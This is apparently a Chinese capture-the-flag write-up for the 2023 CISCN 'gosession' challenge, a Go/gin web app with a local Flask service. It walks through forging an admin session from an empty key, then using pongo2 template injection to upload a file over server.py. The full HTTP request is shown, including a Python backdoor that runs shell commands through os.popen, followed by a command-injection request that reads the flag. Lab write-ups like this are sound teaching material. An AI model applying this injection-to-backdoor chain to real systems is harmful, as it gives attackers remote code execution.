Contents

2023CISCN初赛 gosession

镜像信息

  • 题目名称:2023CISCN初赛gosession
  • docker镜像:lxxxin/ciscn2023_gosession
  • flag信息:
    • 根目录下
  • 内部端口:80
  • 注意:
    • 部署时,容器至少需要256MB的运行内存,否则容器将无法启动
  • 题目描述:
    • ctfer按照官方文档的模板编写了代码,但是好像哪里出了问题。
    • 容器启动可能需要一两分钟,请耐心等待!
  • 附件:

go_session_4c91af79780fc70a4d21b272ba3a371c.zip

启动脚本

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_gosession

WriteUp

下载附件,放到Goland中分析,题目一共三个路由:

  • Index
  • Admin
  • Flask

先看Index路由,Index路由内容很简单,直接赋了个session,session中的name值为guest,这里发现session的key是通过SESSION_KEY环境变量获取的

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308141414596.png

再看Admin路由:

  • 这里对session做了验证,需要name为admin
  • 这里用pongo2做模板渲染,存在模板渲染漏洞

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308141414602.png

接着看Flask路由:

  • Flask路由会请求靶机里5000端口服务,并把请求页面回显

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308141414603.png

经过测试,得到以下结论:

  • 5000端口为python的flask服务,开启了debug模式,源码不存在ssti漏洞
  • session默认key为空,可以直接伪造admin用户

flask源码可以通过让flask报错获取:

1
/flask?name=/

源码如下: https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308141414604.png

本题正确思路如下:

  1. 由于session默认key为空,伪造admin用户后可以调用Admin路由
  2. Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法
  3. 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE

再说一下错误思路:

  • 错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308141414605.png 首先获取一下admin用户的session:

  • 把下方代码加到route里,访问即可拿到伪造后的session
1
2
3
4
5
6
func Key(c *gin.Context) {
	session, _ := store.Get(c.Request, "session-name")
	session.Values["name"] = "admin"
	session.Save(c.Request, c.Writer)
	c.String(200, "Hello, guest")
}

admin用户的session如下:

1
MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==

接着构造请求包覆盖/app/server.py:

  • 注意name值需要url编码
  • c.HandlerName的值为main/route.Admin,接着用first过滤器获取到的就是m字符,用last过滤器获取到的就是n字符
  • 注意GET请求也是可以使用表单上传文件的
1
/admin?name={%set form=c.Query(c.HandlerName|first)%}{%set path=c.Query(c.HandlerName|last)%}{%set file=c.FormFile(form)%}{{c.SaveUploadedFile(file,path)}}&m=file&n=/app/server.py

完整的HTTP请求如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
GET /admin?name=%7B%25set%20form%3Dc.Query(c.HandlerName%7Cfirst)%25%7D%7B%25set%20path%3Dc.Query(c.HandlerName%7Clast)%25%7D%7B%25set%20file%3Dc.FormFile(form)%25%7D%7B%7Bc.SaveUploadedFile(file%2Cpath)%7D%7D&m=file&n=/app/server.py HTTP/1.1
Host: 970fe693-65cb-4674-8904-37a38a64cfd6.node.domain.com:9123
Content-Length: 564
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwT9VdDXSgZPm0yn
Cookie: session-name=MTY4NTE2OTE4MHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzUn0khtUAglbEqre0c-3PmfQg0snOpUCSYyvq07U4AKw==
Connection: close

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="file"; filename="server.py"
Content-Type: image/jpeg

from flask import Flask, request
import os
app = Flask(__name__)

@app.route('/')
def index():
    name = request.args['name']
    res = os.popen(name).read()
    return res + " no ssti"


if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)

------WebKitFormBoundaryqwT9VdDXSgZPm0yn
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryqwT9VdDXSgZPm0yn--

接着访问Flask请求即可getshell

1
/flask?name=?name=cat${IFS}/t*

https://lxxx-markdown.oss-cn-beijing.aliyuncs.com/pictures/202308141414606.png